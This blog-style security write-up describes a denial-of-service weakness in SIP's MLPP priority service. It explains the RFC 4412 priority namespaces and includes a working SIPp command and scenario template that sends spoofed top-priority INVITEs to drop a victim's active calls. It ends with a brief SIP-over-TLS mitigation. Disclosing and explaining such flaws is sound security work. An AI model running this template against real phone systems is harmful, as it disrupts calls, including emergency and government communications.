Today we can easily say that SIP is the leading protocol on the VoIP systems. The success of SIP is certainly result of simple and robust architecture of this protocol. However, like every other protocol SIP has several weaknesses.This article is about a protocol vulnerability in SIP which took my attention during a security research. Later I found out that it has already been mentioned in the RFC as proof of concept. Since this is a protocol vulnerability, all SIP devices (which use MLPP service) have the issue.
Multilevel Precedence and Preemption (MLPP) is a Session Initiation Protocol (SIP) service that allows authorized users to place priority calls and preempt lower priority calls if necessary. It is mostly used in government in order to preempt lower priority call and place emergency ones. Priority information of a call is shared during the very first moment of signalling. When MLPP service is enabled, calls should have priority levels defined by the RFC4412 (https://tools.ietf.org/html/rfc4412).
An example can be given from hospitals. Supposing you are a doctor and you are making a routine call with your wife and meanwhile an emergency condition has just occurred so ER may want to contact you. At that point ER can drop your call with your wife and contact you immediately.
A standard SIP call begins with an INVITE message sent from the originating client to SIP Proxy(SIP server). When SIP proxy receives the INVITE message it passes it to the terminating party. This INVITE message includes all technical information such as, who is calling to who, which codecs can be used, if this is a video call or not, etc.
After INVITE reaches the terminating side (called), there are a few more messages going back and forward but they are usually more about establishing and finalizing the call. However, in order to establish a media path (RTP) all the signalling should be complete. I am not going to deep dive into the SIP, but you can see a basic SIP call (signalling and media) in the following image.
MLPP information is also sent in INVITE message via resource priority header. This information always exist with a namespace and the level of priority. RFC 4412 (https://tools.ietf.org/html/rfc4412) defines five unique namespaces called DSN, DRSN, Q735, ETS, and WPS.
The DSN namespace comes from the name of a US government network, called “The Defense Switched Network”.
(lowest) dsn.routine dsn.priority dsn.immediate dsn.flash (highest) dsn.flash-override
The DRSN namespace comes from the name of a US government network, called “The Defense RED Switched Network”.
(lowest) drsn.routine drsn.priority drsn.immediate drsn.flash drsn.flash-override (highest) drsn.flash-override-override
Q.735.3 [Q.735.3] was created to be a commercial version of the operationally equivalent DSN specification for Multi-Level Precedence and Preemption (MLPP).
(lowest) q735.4 q735.3 q735.2 q735.1 (highest) q735.0
The ETS namespace derives its name indirectly from the name of the US government telecommunications service, called “Government Emergency Telecommunications Service” (or GETS), though the organization responsible for the GETS service chose the acronym “ETS” for its GETS over IP service, which stands for “Emergency Telecommunications Service”.
(lowest) ets.4 ets.3 ets.2 ets.1 (highest) ets.0
The WPS namespace derives its name from the “Wireless Priority Service”, defined in GSM and other wireless technologies.
(lowest) wps.4 wps.3 wps.2 wps.1 (highest) wps.0
In each originating call, the namespace and the priority information is placed into the INVITE message and then sent. The signalling message (INVITE) received by the SIP proxy is passed to the terminating end. At that point terminating side has to decide whether the newly arrived call is more important than an already established one.
In general, when INVITE message is received by a client, the “from” data is not examined very well from security point of view (it only checks the proxy address and the domain). The reason is, if it was wrong, the connection could not be established since the reply packet would never go to the correct party and the RTP would never be established.
However, when the terminating side receives a MLPP high priority call information with the INVITE message, it just drops the existing call and then tries to establish the new high priority one. It is then time to establish media path if all the information in INVITE is correct.
So an attacker can cause denial of service on a specific SIP client by sending continuous INVITE messages with high priority resource headers. The attacker should only know the IP address, user name and the SIP domain of the victim which can be obtained easily by several techniques.
In the following lines, you can find the attack template for the tool called SIPp which is a free Open Source test tool / traffic generator for the SIP protocol. Here is the message template of the attack for SIPp.
# sipp 192.168.5.145 -sf D:/calling.txt -inf D:/calling.csv -m 1 -p 5060 -i 192.168.5.17
<?xml version="1.0" ?> <!DOCTYPE scenario SYSTEM "sipp.dtd"> <scenario name="calling"> <send retrans="500"> <![CDATA[ INVITE sip:[field0]@[field1] SIP/2.0 Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch] From: <sip:[field0]@[field1]>;tag=tmmW43DkM To: <sip:[field2]@[field1]:[remote_port]> CSeq: 20 INVITE Call-ID: hb-1Thh3dE Max-Forwards: 70 Supported: outbound Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO, UPDATE Content-Type: application/sdp Content-Length: 556 Contact: <sip:[field0]@[local_ip]:[local_port]>;+sip.instance="<urn:uuid:1894ae7a-7a63-1155-a07d-2baf7953c0fb>" User-Agent: [user_agent] Resource-Priority: q735.0 Require: resource-priority v=0 o=[field0] 517348 0 IN IP4 192.168.5.2 s=unknown@invalid e=unknown@invalid c=IN IP4 192.168.5.2 t=0 0 m=audio 50002 RTP/AVP 0 8 18 110 111 c=IN IP4 192.168.2.2 a=rtpmap:0 PCMU/8000 a=rtpmap:8 PCMA/8000 a=rtpmap:18 G729/8000 a=rtpmap:110 telephone-event/8000 a=rtpmap:111 X-nt-inforeq/8000 a=ptime:20 a=sendrecv m=video 0 RTP/AVP 34 c=IN IP4 192.168.5.2 b=AS:66 b=TIAS:65536 a=rtpmap:34 H263/90000 a=fmtp:34 QCIF=3;SQCIF=3;CIF=3;F=1 a=maxprate:8.00 ]]> </send> <recv response="100" optional="true"/> <recv response="180" optional="true"/> <recv response="183" optional="true"/> <recv response="200"/> <send> <![CDATA[ ACK sip:[field2]@[field1] SIP/2.0 From: [field0] <sip:[field0]@[field1]:[local_port]>;tag=[call_number] To: <sip:[field2]@[field1]> [last_Call-ID:] [last_Via:] CSeq: [cseq] ACK Content-Length: [len] Contact: <sip:[field2]@[local_ip]:[local_port]> Max-Forwards: 30 ]]> </send> </scenario>
You will see that there are fields called “field0”, “field1”, “remote_port”, “local_ip”, and etc. You can define variables in a separate file (in my case it is calling.csv) and pass them to SIPp on the command line. These fields are required in order you to form this message.
As you can see, the resource priority header on the sip call is “q735.0” which is the highest priority for q735 namespace. When the victim receives this priority header in the INVITE message, it drops the active low priority call on the victim’s SIP client.
The prevention is actually not too complex. All user agents and proxy servers that support this extension must implement SIP over TLS [RFC3546]. However, SIP TLS brings capacity concerns due to its computational requirements for encryption and decryption.